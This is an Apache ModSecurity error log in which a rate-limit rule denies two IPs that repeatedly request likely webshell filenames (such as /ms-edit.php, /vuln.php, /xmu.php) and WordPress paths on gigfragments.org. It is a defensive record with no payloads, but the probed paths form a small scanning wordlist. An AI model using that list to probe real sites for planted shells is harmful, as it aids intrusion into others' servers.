[Sat Apr 25 18:18:51.075353 2026] [:error] [pid 16108:tid 16168] [client 20.215.66.169:13501] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeyVC4bPF4HSQDj6WrlXYgAAAMQ"]
[Sat Apr 25 18:18:51.313031 2026] [:error] [pid 16108:tid 16170] [client 4.232.187.202:7122] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vuln.php"] [unique_id "aeyVC4bPF4HSQDj6WrlXZAAAAMY"]
[Sat Apr 25 18:18:51.611538 2026] [:error] [pid 16195:tid 16212] [client 20.215.66.169:13567] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeyVCzVPLvrpvXaNQOkEPwAAAA4"]
[Sat Apr 25 18:18:51.813940 2026] [:error] [pid 16108:tid 16182] [client 4.232.187.202:6511] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-temp.php"] [unique_id "aeyVC4bPF4HSQDj6WrlXaQAAANA"]
[Sat Apr 25 18:18:52.158679 2026] [:error] [pid 16107:tid 16159] [client 20.215.66.169:3984] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeyVDNIfF7Hy3tw0sYReLQAAAJY"]
[Sat Apr 25 18:18:52.280913 2026] [:error] [pid 16108:tid 16189] [client 4.232.187.202:7116] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-temp.php"] [unique_id "aeyVDIbPF4HSQDj6WrlXawAAANc"]
[Sat Apr 25 18:18:52.677770 2026] [:error] [pid 16195:tid 16218] [client 20.215.66.169:4016] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeyVDDVPLvrpvXaNQOkERgAAABQ"]
[Sat Apr 25 18:18:52.782766 2026] [:error] [pid 16107:tid 16155] [client 4.232.187.202:6473] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-temp.php"] [unique_id "aeyVDNIfF7Hy3tw0sYReMQAAAJI"]
[Sat Apr 25 18:18:53.214212 2026] [:error] [pid 16195:tid 16220] [client 20.215.66.169:3915] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aeyVDTVPLvrpvXaNQOkESwAAABY"]
[Sat Apr 25 18:18:53.283149 2026] [:error] [pid 16108:tid 16170] [client 4.232.187.202:7145] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-temp.php"] [unique_id "aeyVDYbPF4HSQDj6WrlXdgAAAMY"]
[Sat Apr 25 18:18:53.760875 2026] [:error] [pid 16195:tid 16212] [client 4.232.187.202:6476] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sxdfrt.php"] [unique_id "aeyVDTVPLvrpvXaNQOkETgAAAA4"]
[Sat Apr 25 18:18:53.778934 2026] [:error] [pid 16195:tid 16209] [client 20.215.66.169:4037] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aeyVDTVPLvrpvXaNQOkETwAAAAs"]
[Sat Apr 25 18:18:54.228858 2026] [:error] [pid 16195:tid 16201] [client 4.232.187.202:6498] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sxdfrt.php"] [unique_id "aeyVDjVPLvrpvXaNQOkEUwAAAAM"]
[Sat Apr 25 18:18:54.317185 2026] [:error] [pid 16107:tid 16147] [client 20.215.66.169:4019] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aeyVDtIfF7Hy3tw0sYRePQAAAIo"]
[Sat Apr 25 18:18:54.730180 2026] [:error] [pid 16107:tid 16156] [client 4.232.187.202:6507] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sxdfrt.php"] [unique_id "aeyVDtIfF7Hy3tw0sYRePwAAAJM"]
[Sat Apr 25 18:18:54.852619 2026] [:error] [pid 16195:tid 16206] [client 20.215.66.169:13494] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aeyVDjVPLvrpvXaNQOkEVwAAAAg"]
[Sat Apr 25 18:18:55.258943 2026] [:error] [pid 16108:tid 16165] [client 4.232.187.202:6482] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sxdfrt.php"] [unique_id "aeyVD4bPF4HSQDj6WrlXfAAAAME"]
[Sat Apr 25 18:18:55.417162 2026] [:error] [pid 16108:tid 16188] [client 20.215.66.169:13447] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeyVD4bPF4HSQDj6WrlXfQAAANY"]
[Sat Apr 25 18:18:55.757561 2026] [:error] [pid 16195:tid 16219] [client 4.232.187.202:7134] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aeyVDzVPLvrpvXaNQOkEYQAAABU"]
[Sat Apr 25 18:18:55.979464 2026] [:error] [pid 16195:tid 16216] [client 20.215.66.169:3971] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeyVDzVPLvrpvXaNQOkEYwAAABI"]
[Sat Apr 25 18:18:56.254515 2026] [:error] [pid 16108:tid 16187] [client 4.232.187.202:6527] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aeyVEIbPF4HSQDj6WrlXfwAAANU"]
[Sat Apr 25 18:18:56.491616 2026] [:error] [pid 16195:tid 16217] [client 20.215.66.169:4078] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeyVEDVPLvrpvXaNQOkEaAAAABM"]
[Sat Apr 25 18:18:56.788402 2026] [:error] [pid 16195:tid 16202] [client 4.232.187.202:6489] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aeyVEDVPLvrpvXaNQOkEagAAAAQ"]
[Sat Apr 25 18:18:57.015002 2026] [:error] [pid 16195:tid 16204] [client 20.215.66.169:13510] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeyVETVPLvrpvXaNQOkEbAAAAAY"]
[Sat Apr 25 18:18:57.287275 2026] [:error] [pid 16195:tid 16209] [client 4.232.187.202:6514] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aeyVETVPLvrpvXaNQOkEbgAAAAs"]
[Sat Apr 25 18:18:57.526767 2026] [:error] [pid 16195:tid 16213] [client 20.215.66.169:4064] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aeyVETVPLvrpvXaNQOkEcAAAAA8"]
[Sat Apr 25 18:18:57.761956 2026] [:error] [pid 16107:tid 16155] [client 4.232.187.202:7123] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aeyVEdIfF7Hy3tw0sYReQQAAAJI"]
[Sat Apr 25 18:18:58.066942 2026] [:error] [pid 16108:tid 16189] [client 20.215.66.169:13492] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aeyVEobPF4HSQDj6WrlXggAAANc"]
[Sat Apr 25 18:18:58.258819 2026] [:error] [pid 16108:tid 16186] [client 4.232.187.202:6466] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aeyVEobPF4HSQDj6WrlXhAAAANQ"]
[Sat Apr 25 18:18:58.626766 2026] [:error] [pid 16108:tid 16187] [client 20.215.66.169:13654] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aeyVEobPF4HSQDj6WrlXhQAAANU"]
[Sat Apr 25 18:18:58.775802 2026] [:error] [pid 16195:tid 16200] [client 4.232.187.202:6496] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aeyVEjVPLvrpvXaNQOkEcgAAAAI"]
[Sat Apr 25 18:18:59.163288 2026] [:error] [pid 16108:tid 16179] [client 20.215.66.169:4058] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aeyVE4bPF4HSQDj6WrlXiAAAAM0"]
[Sat Apr 25 18:18:59.275283 2026] [:error] [pid 16106:tid 16122] [client 4.232.187.202:7127] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aeyVEyGjdEsrWF7e-7MVigAAAEw"]
[Sat Apr 25 18:18:59.674218 2026] [:error] [pid 16108:tid 16170] [client 20.215.66.169:13605] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aeyVE4bPF4HSQDj6WrlXjAAAAMY"]
[Sat Apr 25 18:18:59.818436 2026] [:error] [pid 16195:tid 16215] [client 4.232.187.202:6483] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-bda.php"] [unique_id "aeyVEzVPLvrpvXaNQOkEdgAAABE"]
[Sat Apr 25 18:19:00.210392 2026] [:error] [pid 16195:tid 16202] [client 20.215.66.169:4045] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aeyVFDVPLvrpvXaNQOkEeQAAAAQ"]
[Sat Apr 25 18:19:00.327504 2026] [:error] [pid 16106:tid 16115] [client 4.232.187.202:6523] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-bda.php"] [unique_id "aeyVFCGjdEsrWF7e-7MVjAAAAEU"]
[Sat Apr 25 18:19:00.745787 2026] [:error] [pid 16108:tid 16188] [client 20.215.66.169:3989] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aeyVFIbPF4HSQDj6WrlXlAAAANY"]
[Sat Apr 25 18:19:00.798959 2026] [:error] [pid 16107:tid 16154] [client 4.232.187.202:6510] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-bda.php"] [unique_id "aeyVFNIfF7Hy3tw0sYReRQAAAJE"]
[Sat Apr 25 18:19:01.277328 2026] [:error] [pid 16107:tid 16141] [client 4.232.187.202:6472] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-bda.php"] [unique_id "aeyVFdIfF7Hy3tw0sYReRgAAAIQ"]
[Sat Apr 25 18:19:01.288100 2026] [:error] [pid 16108:tid 16174] [client 20.215.66.169:4080] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aeyVFYbPF4HSQDj6WrlXlQAAAMg"]
[Sat Apr 25 18:19:01.778916 2026] [:error] [pid 16108:tid 16187] [client 4.232.187.202:7114] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bhm.php"] [unique_id "aeyVFYbPF4HSQDj6WrlXlgAAANU"]
[Sat Apr 25 18:19:01.846586 2026] [:error] [pid 16108:tid 16179] [client 20.215.66.169:13502] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aeyVFYbPF4HSQDj6WrlXlwAAAM0"]
[Sat Apr 25 18:19:02.307509 2026] [:error] [pid 16107:tid 16148] [client 4.232.187.202:6481] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bhm.php"] [unique_id "aeyVFtIfF7Hy3tw0sYReTAAAAIs"]
[Sat Apr 25 18:19:02.396467 2026] [:error] [pid 16108:tid 16168] [client 20.215.66.169:4069] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aeyVFobPF4HSQDj6WrlXmQAAAMQ"]
[Sat Apr 25 18:19:02.802786 2026] [:error] [pid 16107:tid 16157] [client 4.232.187.202:6499] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bhm.php"] [unique_id "aeyVFtIfF7Hy3tw0sYReTwAAAJQ"]
[Sat Apr 25 18:19:02.911440 2026] [:error] [pid 16107:tid 16142] [client 20.215.66.169:4067] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aeyVFtIfF7Hy3tw0sYReUQAAAIU"]
[Sat Apr 25 18:19:03.285083 2026] [:error] [pid 16106:tid 16118] [client 4.232.187.202:7146] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bhm.php"] [unique_id "aeyVFyGjdEsrWF7e-7MVkQAAAEg"]
[Sat Apr 25 18:19:03.423958 2026] [:error] [pid 16106:tid 16119] [client 20.215.66.169:4088] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aeyVFyGjdEsrWF7e-7MVkwAAAEk"]
[Sat Apr 25 18:19:03.802976 2026] [:error] [pid 16107:tid 16139] [client 4.232.187.202:7119] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "aeyVF9IfF7Hy3tw0sYReVAAAAII"]
[Sat Apr 25 18:19:03.935944 2026] [:error] [pid 16108:tid 16167] [client 20.215.66.169:3943] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeyVF4bPF4HSQDj6WrlXnAAAAMM"]
[Sat Apr 25 18:19:04.278315 2026] [:error] [pid 16108:tid 16180] [client 4.232.187.202:7046] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "aeyVGIbPF4HSQDj6WrlXngAAAM4"]
[Sat Apr 25 18:19:04.487291 2026] [:error] [pid 16108:tid 16189] [client 20.215.66.169:4036] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeyVGIbPF4HSQDj6WrlXoAAAANc"]
[Sat Apr 25 18:19:04.743661 2026] [:error] [pid 16108:tid 16169] [client 4.232.187.202:7104] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "aeyVGIbPF4HSQDj6WrlXowAAAMU"]
[Sat Apr 25 18:19:05.023670 2026] [:error] [pid 16107:tid 16150] [client 20.215.66.169:4093] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeyVGdIfF7Hy3tw0sYReVgAAAI0"]
[Sat Apr 25 18:19:05.274836 2026] [:error] [pid 16106:tid 16126] [client 4.232.187.202:6522] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "aeyVGSGjdEsrWF7e-7MVmQAAAFA"]
